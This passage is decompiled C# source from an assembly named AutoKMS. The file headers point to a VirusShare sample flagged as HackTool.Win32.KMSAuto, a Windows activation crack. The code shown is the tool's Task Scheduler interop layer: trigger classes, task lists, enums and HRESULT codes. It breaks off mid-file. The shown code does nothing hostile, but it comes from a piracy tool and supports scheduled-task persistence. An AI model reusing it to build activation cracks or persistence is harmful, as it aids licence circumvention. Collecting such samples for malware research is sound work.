|
||||
RunIfConnectedToInternet = 1024, // 0x00000400
|
||||
RestartOnIdleResume = 2048, // 0x00000800
|
||||
SystemRequired = 4096, // 0x00001000
|
||||
RunOnlyIfLoggedOn = 8192, // 0x00002000
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskList
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class TaskList : IEnumerable, IDisposable
|
||||
{
|
||||
private ScheduledTasks st;
|
||||
private string nameComputer;
|
||||
|
||||
internal TaskList() => this.st = new ScheduledTasks();
|
||||
|
||||
internal TaskList(string computer) => this.st = new ScheduledTasks(computer);
|
||||
|
||||
internal string TargetComputer
|
||||
{
|
||||
get => this.nameComputer;
|
||||
set
|
||||
{
|
||||
this.st.Dispose();
|
||||
this.st = new ScheduledTasks(value);
|
||||
this.nameComputer = value;
|
||||
}
|
||||
}
|
||||
|
||||
public Task NewTask(string name) => this.st.CreateTask(name);
|
||||
|
||||
public void Delete(string name) => this.st.DeleteTask(name);
|
||||
|
||||
public Task this[string name] => this.st.OpenTask(name);
|
||||
|
||||
public IEnumerator GetEnumerator() => (IEnumerator) new TaskList.Enumerator(this.st);
|
||||
|
||||
public void Dispose() => this.st.Dispose();
|
||||
|
||||
private class Enumerator : IEnumerator
|
||||
{
|
||||
private ScheduledTasks outer;
|
||||
private string[] nameTask;
|
||||
private int curIndex;
|
||||
private Task curTask;
|
||||
|
||||
internal Enumerator(ScheduledTasks st)
|
||||
{
|
||||
this.outer = st;
|
||||
this.nameTask = st.GetTaskNames();
|
||||
this.Reset();
|
||||
}
|
||||
|
||||
public bool MoveNext()
|
||||
{
|
||||
bool flag = ++this.curIndex < this.nameTask.Length;
|
||||
if (flag)
|
||||
this.curTask = this.outer.OpenTask(this.nameTask[this.curIndex]);
|
||||
return flag;
|
||||
}
|
||||
|
||||
public void Reset()
|
||||
{
|
||||
this.curIndex = -1;
|
||||
this.curTask = (Task) null;
|
||||
}
|
||||
|
||||
public object Current => (object) this.curTask;
|
||||
}
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskStatus
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public enum TaskStatus
|
||||
{
|
||||
Ready = 267008, // 0x00041300
|
||||
Running = 267009, // 0x00041301
|
||||
Disabled = 267010, // 0x00041302
|
||||
NeverRun = 267011, // 0x00041303
|
||||
NoMoreRuns = 267012, // 0x00041304
|
||||
NotScheduled = 267013, // 0x00041305
|
||||
Terminated = 267014, // 0x00041306
|
||||
NoTriggers = 267015, // 0x00041307
|
||||
NoTriggerTime = 267016, // 0x00041308
|
||||
}
|
||||
}
|
||||
+208
@@ -0,0 +1,208 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Trigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public abstract class Trigger : ICloneable
|
||||
{
|
||||
private ITaskTrigger iTaskTrigger;
|
||||
internal TaskTrigger taskTrigger;
|
||||
|
||||
internal Trigger()
|
||||
{
|
||||
this.iTaskTrigger = (ITaskTrigger) null;
|
||||
this.taskTrigger = new TaskTrigger();
|
||||
this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
|
||||
this.taskTrigger.BeginYear = (ushort) DateTime.Today.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) DateTime.Today.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) DateTime.Today.Day;
|
||||
}
|
||||
|
||||
internal Trigger(ITaskTrigger iTrigger)
|
||||
{
|
||||
if (iTrigger == null)
|
||||
throw new ArgumentNullException(nameof (iTrigger), "ITaskTrigger instance cannot be null");
|
||||
this.taskTrigger = new TaskTrigger();
|
||||
this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
|
||||
iTrigger.GetTrigger(ref this.taskTrigger);
|
||||
this.iTaskTrigger = iTrigger;
|
||||
}
|
||||
|
||||
public object Clone()
|
||||
{
|
||||
Trigger trigger = (Trigger) this.MemberwiseClone();
|
||||
trigger.iTaskTrigger = (ITaskTrigger) null;
|
||||
return (object) trigger;
|
||||
}
|
||||
|
||||
internal bool Bound => this.iTaskTrigger != null;
|
||||
|
||||
public DateTime BeginDate
|
||||
{
|
||||
get => new DateTime((int) this.taskTrigger.BeginYear, (int) this.taskTrigger.BeginMonth, (int) this.taskTrigger.BeginDay);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.BeginYear = (ushort) value.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) value.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) value.Day;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool HasEndDate
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 1) == 1;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
throw new ArgumentException("HasEndDate can only be set false");
|
||||
this.taskTrigger.Flags &= 4294967294U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime EndDate
|
||||
{
|
||||
get => this.taskTrigger.EndYear == (ushort) 0 ? DateTime.MinValue : new DateTime((int) this.taskTrigger.EndYear, (int) this.taskTrigger.EndMonth, (int) this.taskTrigger.EndDay);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Flags |= 1U;
|
||||
this.taskTrigger.EndYear = (ushort) value.Year;
|
||||
this.taskTrigger.EndMonth = (ushort) value.Month;
|
||||
this.taskTrigger.EndDay = (ushort) value.Day;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public int DurationMinutes
|
||||
{
|
||||
get => (int) this.taskTrigger.MinutesDuration;
|
||||
set
|
||||
{
|
||||
if ((long) value < (long) this.taskTrigger.MinutesInterval)
|
||||
throw new ArgumentOutOfRangeException(nameof (DurationMinutes), (object) value, "DurationMinutes must be greater than or equal the IntervalMinutes value");
|
||||
this.taskTrigger.MinutesDuration = (uint) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public int IntervalMinutes
|
||||
{
|
||||
get => (int) this.taskTrigger.MinutesInterval;
|
||||
set
|
||||
{
|
||||
if ((long) value > (long) this.taskTrigger.MinutesDuration)
|
||||
throw new ArgumentOutOfRangeException(nameof (IntervalMinutes), (object) value, "IntervalMinutes must be less than or equal the DurationMinutes value");
|
||||
this.taskTrigger.MinutesInterval = (uint) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool KillAtDurationEnd
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 2) == 2;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.taskTrigger.Flags |= 2U;
|
||||
else
|
||||
this.taskTrigger.Flags &= 4294967293U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public bool Disabled
|
||||
{
|
||||
get => ((int) this.taskTrigger.Flags & 4) == 4;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.taskTrigger.Flags |= 4U;
|
||||
else
|
||||
this.taskTrigger.Flags &= 4294967291U;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
internal static Trigger CreateTrigger(ITaskTrigger iTaskTrigger)
|
||||
{
|
||||
if (iTaskTrigger == null)
|
||||
throw new ArgumentNullException(nameof (iTaskTrigger), "Instance of ITaskTrigger cannot be null");
|
||||
TaskTrigger Trigger = new TaskTrigger();
|
||||
Trigger.TriggerSize = (ushort) Marshal.SizeOf((object) Trigger);
|
||||
iTaskTrigger.GetTrigger(ref Trigger);
|
||||
switch (Trigger.Type)
|
||||
{
|
||||
case TaskTriggerType.TIME_TRIGGER_ONCE:
|
||||
return (Trigger) new RunOnceTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_DAILY:
|
||||
return (Trigger) new DailyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_WEEKLY:
|
||||
return (Trigger) new WeeklyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_MONTHLYDATE:
|
||||
return (Trigger) new MonthlyTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.TIME_TRIGGER_MONTHLYDOW:
|
||||
return (Trigger) new MonthlyDOWTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_ON_IDLE:
|
||||
return (Trigger) new OnIdleTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART:
|
||||
return (Trigger) new OnSystemStartTrigger(iTaskTrigger);
|
||||
case TaskTriggerType.EVENT_TRIGGER_AT_LOGON:
|
||||
return (Trigger) new OnLogonTrigger(iTaskTrigger);
|
||||
default:
|
||||
throw new ArgumentException("Unable to recognize type of trigger referenced in iTaskTrigger", nameof (iTaskTrigger));
|
||||
}
|
||||
}
|
||||
|
||||
protected void SyncTrigger()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return;
|
||||
this.iTaskTrigger.SetTrigger(ref this.taskTrigger);
|
||||
}
|
||||
|
||||
internal void Bind(ITaskTrigger iTaskTrigger)
|
||||
{
|
||||
this.iTaskTrigger = this.iTaskTrigger == null ? iTaskTrigger : throw new ArgumentException("Attempt to bind an already bound trigger");
|
||||
iTaskTrigger.SetTrigger(ref this.taskTrigger);
|
||||
}
|
||||
|
||||
internal void Bind(Trigger trigger) => this.Bind(trigger.iTaskTrigger);
|
||||
|
||||
internal void Unbind()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return;
|
||||
Marshal.ReleaseComObject((object) this.iTaskTrigger);
|
||||
this.iTaskTrigger = (ITaskTrigger) null;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
if (this.iTaskTrigger == null)
|
||||
return "Unbound " + this.GetType().ToString();
|
||||
IntPtr TriggerString;
|
||||
this.iTaskTrigger.GetTriggerString(out TriggerString);
|
||||
return CoTaskMem.LPWStrToString(TriggerString);
|
||||
}
|
||||
|
||||
public override bool Equals(object obj) => this.taskTrigger.Equals((object) ((Trigger) obj).taskTrigger);
|
||||
|
||||
public override int GetHashCode() => this.taskTrigger.GetHashCode();
|
||||
|
||||
[Flags]
|
||||
private enum TaskTriggerFlags
|
||||
{
|
||||
HasEndDate = 1,
|
||||
KillAtDurationEnd = 2,
|
||||
Disabled = 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TriggerList
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class TriggerList : IList, ICollection, IEnumerable, IDisposable
|
||||
{
|
||||
private ITask iTask;
|
||||
private ArrayList oTriggers;
|
||||
|
||||
internal TriggerList(ITask iTask)
|
||||
{
|
||||
this.iTask = iTask;
|
||||
ushort Count = 0;
|
||||
iTask.GetTriggerCount(out Count);
|
||||
this.oTriggers = new ArrayList((int) Count + 5);
|
||||
for (int TriggerIndex = 0; TriggerIndex < (int) Count; ++TriggerIndex)
|
||||
{
|
||||
ITaskTrigger Trigger;
|
||||
iTask.GetTrigger((ushort) TriggerIndex, out Trigger);
|
||||
this.oTriggers.Add((object) Trigger.CreateTrigger(Trigger));
|
||||
}
|
||||
}
|
||||
|
||||
public void RemoveAt(int index)
|
||||
{
|
||||
if (index >= this.Count)
|
||||
throw new ArgumentOutOfRangeException(nameof (index), (object) index, "Failed to remove Trigger. Index out of range.");
|
||||
((Trigger) this.oTriggers[index]).Unbind();
|
||||
this.oTriggers.RemoveAt(index);
|
||||
this.iTask.DeleteTrigger((ushort) index);
|
||||
}
|
||||
|
||||
void IList.Insert(int index, object value) => throw new NotImplementedException("TriggerList does not support Insert().");
|
||||
|
||||
public void Remove(Trigger trigger)
|
||||
{
|
||||
int index = this.IndexOf(trigger);
|
||||
if (index == -1)
|
||||
return;
|
||||
this.RemoveAt(index);
|
||||
}
|
||||
|
||||
void IList.Remove(object value) => this.Remove(value as Trigger);
|
||||
|
||||
public bool Contains(Trigger trigger) => this.IndexOf(trigger) != -1;
|
||||
|
||||
bool IList.Contains(object value) => this.Contains(value as Trigger);
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
for (int index = this.Count - 1; index >= 0; --index)
|
||||
this.RemoveAt(index);
|
||||
}
|
||||
|
||||
public int IndexOf(Trigger trigger)
|
||||
{
|
||||
for (int index = 0; index < this.Count; ++index)
|
||||
{
|
||||
if (this[index].Equals((object) trigger))
|
||||
return index;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int IList.IndexOf(object value) => this.IndexOf(value as Trigger);
|
||||
|
||||
public int Add(Trigger trigger)
|
||||
{
|
||||
if (trigger.Bound)
|
||||
throw new ArgumentException("A Trigger cannot be added if it is already in a list.");
|
||||
ushort NewTriggerIndex;
|
||||
ITaskTrigger Trigger;
|
||||
this.iTask.CreateTrigger(out NewTriggerIndex, out Trigger);
|
||||
trigger.Bind(Trigger);
|
||||
if (this.oTriggers.Add((object) trigger) != (int) NewTriggerIndex)
|
||||
throw new ApplicationException("Assertion Failure");
|
||||
return (int) NewTriggerIndex;
|
||||
}
|
||||
|
||||
int IList.Add(object value) => this.Add(value as Trigger);
|
||||
|
||||
public bool IsReadOnly => false;
|
||||
|
||||
public Trigger this[int index]
|
||||
{
|
||||
get => index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
|
||||
set
|
||||
{
|
||||
Trigger trigger = index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
|
||||
value.Bind(trigger);
|
||||
this.oTriggers[index] = (object) value;
|
||||
}
|
||||
}
|
||||
|
||||
object IList.this[int index]
|
||||
{
|
||||
get => (object) this[index];
|
||||
set => this[index] = value as Trigger;
|
||||
}
|
||||
|
||||
public bool IsFixedSize => false;
|
||||
|
||||
public int Count => this.oTriggers.Count;
|
||||
|
||||
public void CopyTo(Array array, int index)
|
||||
{
|
||||
if (this.oTriggers.Count > array.Length - index)
|
||||
throw new ArgumentException("Array has insufficient space to copy the collection.");
|
||||
for (int index1 = 0; index1 < this.oTriggers.Count; ++index1)
|
||||
array.SetValue(((Trigger) this.oTriggers[index1]).Clone(), index + index1);
|
||||
}
|
||||
|
||||
public bool IsSynchronized => false;
|
||||
|
||||
public object SyncRoot => (object) null;
|
||||
|
||||
public IEnumerator GetEnumerator() => (IEnumerator) new TriggerList.Enumerator(this);
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
foreach (Trigger oTrigger in this.oTriggers)
|
||||
oTrigger.Unbind();
|
||||
this.oTriggers = (ArrayList) null;
|
||||
this.iTask = (ITask) null;
|
||||
}
|
||||
|
||||
private class Enumerator : IEnumerator
|
||||
{
|
||||
private TriggerList outer;
|
||||
private int currentIndex;
|
||||
|
||||
internal Enumerator(TriggerList outer)
|
||||
{
|
||||
this.outer = outer;
|
||||
this.Reset();
|
||||
}
|
||||
|
||||
public bool MoveNext() => ++this.currentIndex < this.outer.oTriggers.Count;
|
||||
|
||||
public void Reset() => this.currentIndex = -1;
|
||||
|
||||
public object Current => this.outer.oTriggers[this.currentIndex];
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TriggerType
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
internal enum TriggerType
|
||||
{
|
||||
RunOnce,
|
||||
RunDaily,
|
||||
RunWeekly,
|
||||
RunMonthly,
|
||||
RunMonthlyDOW,
|
||||
OnIdle,
|
||||
OnSystemStart,
|
||||
OnLogon,
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.WeeklyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class WeeklyTrigger : StartableTrigger
|
||||
{
|
||||
public WeeklyTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
short weeksInterval)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_WEEKLY;
|
||||
this.taskTrigger.Data.weekly.WeeksInterval = (ushort) weeksInterval;
|
||||
this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) daysOfTheWeek;
|
||||
}
|
||||
|
||||
public WeeklyTrigger(short hour, short minutes, DaysOfTheWeek daysOfTheWeek)
|
||||
: this(hour, minutes, daysOfTheWeek, (short) 1)
|
||||
{
|
||||
}
|
||||
|
||||
internal WeeklyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short WeeksInterval
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.weekly.WeeksInterval;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.weekly.WeeksInterval = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DaysOfTheWeek WeekDays
|
||||
{
|
||||
get => (DaysOfTheWeek) this.taskTrigger.Data.weekly.DaysOfTheWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.WhichWeek
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public enum WhichWeek : short
|
||||
{
|
||||
FirstWeek = 1,
|
||||
SecondWeek = 2,
|
||||
ThirdWeek = 3,
|
||||
FourthWeek = 4,
|
||||
LastWeek = 5,
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CTask
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD520-A2AB-11CE-B11F-00AA00530503")]
|
||||
[ComImport]
|
||||
internal class CTask
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
|
||||
public extern CTask();
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CTaskScheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD52A-A2AB-11CE-B11F-00AA00530503")]
|
||||
[ComImport]
|
||||
internal class CTaskScheduler
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
|
||||
public extern CTaskScheduler();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.CoTaskMem
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class CoTaskMem
|
||||
{
|
||||
public static string LPWStrToString(IntPtr lpwstr)
|
||||
{
|
||||
string stringUni = Marshal.PtrToStringUni(lpwstr);
|
||||
Marshal.FreeCoTaskMem(lpwstr);
|
||||
return stringUni;
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.Daily
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct Daily
|
||||
{
|
||||
public ushort DaysInterval;
|
||||
}
|
||||
}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.HResult
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class HResult
|
||||
{
|
||||
public const int SCHED_S_TASK_READY = 267008;
|
||||
public const int SCHED_S_TASK_RUNNING = 267009;
|
||||
public const int SCHED_S_TASK_DISABLED = 267010;
|
||||
public const int SCHED_S_TASK_HAS_NOT_RUN = 267011;
|
||||
public const int SCHED_S_TASK_NO_MORE_RUNS = 267012;
|
||||
public const int SCHED_S_TASK_NOT_SCHEDULED = 267013;
|
||||
public const int SCHED_S_TASK_TERMINATED = 267014;
|
||||
public const int SCHED_S_TASK_NO_VALID_TRIGGERS = 267015;
|
||||
public const int SCHED_S_EVENT_TRIGGER = 267016;
|
||||
public const int SCHED_E_TRIGGER_NOT_FOUND = -2147216631;
|
||||
public const int SCHED_E_TASK_NOT_READY = -2147216630;
|
||||
public const int SCHED_E_TASK_NOT_RUNNING = -2147216629;
|
||||
public const int SCHED_E_SERVICE_NOT_INSTALLED = -2147216628;
|
||||
public const int SCHED_E_CANNOT_OPEN_TASK = -2147216627;
|
||||
public const int SCHED_E_INVALID_TASK = -2147216626;
|
||||
public const int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = -2147216625;
|
||||
public const int SCHED_E_ACCOUNT_NAME_NOT_FOUND = -2147216624;
|
||||
public const int SCHED_E_ACCOUNT_DBASE_CORRUPT = -2147216623;
|
||||
public const int SCHED_E_NO_SECURITY_SERVICES = -2147216622;
|
||||
public const int SCHED_E_UNKNOWN_OBJECT_VERSION = -2147216621;
|
||||
public const int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = -2147216620;
|
||||
public const int SCHED_E_SERVICE_NOT_RUNNING = -2147216619;
|
||||
public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = -2147216618;
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.IEnumWorkItems
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD528-A2AB-11CE-B11F-00AA00530503")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IEnumWorkItems
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.PreserveSig)]
|
||||
int Next([In] uint RequestCount, out IntPtr Names, out uint Fetched);
|
||||
|
||||
void Skip([In] uint Count);
|
||||
|
||||
void Reset();
|
||||
|
||||
void Clone([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.IProvideTaskPage
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("4086658a-cbbb-11cf-b604-00c04fd8d565")]
|
||||
internal interface IProvideTaskPage
|
||||
{
|
||||
void GetPage([In] int tpType, [In] bool fPersistChanges, out IntPtr phPage);
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITask
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
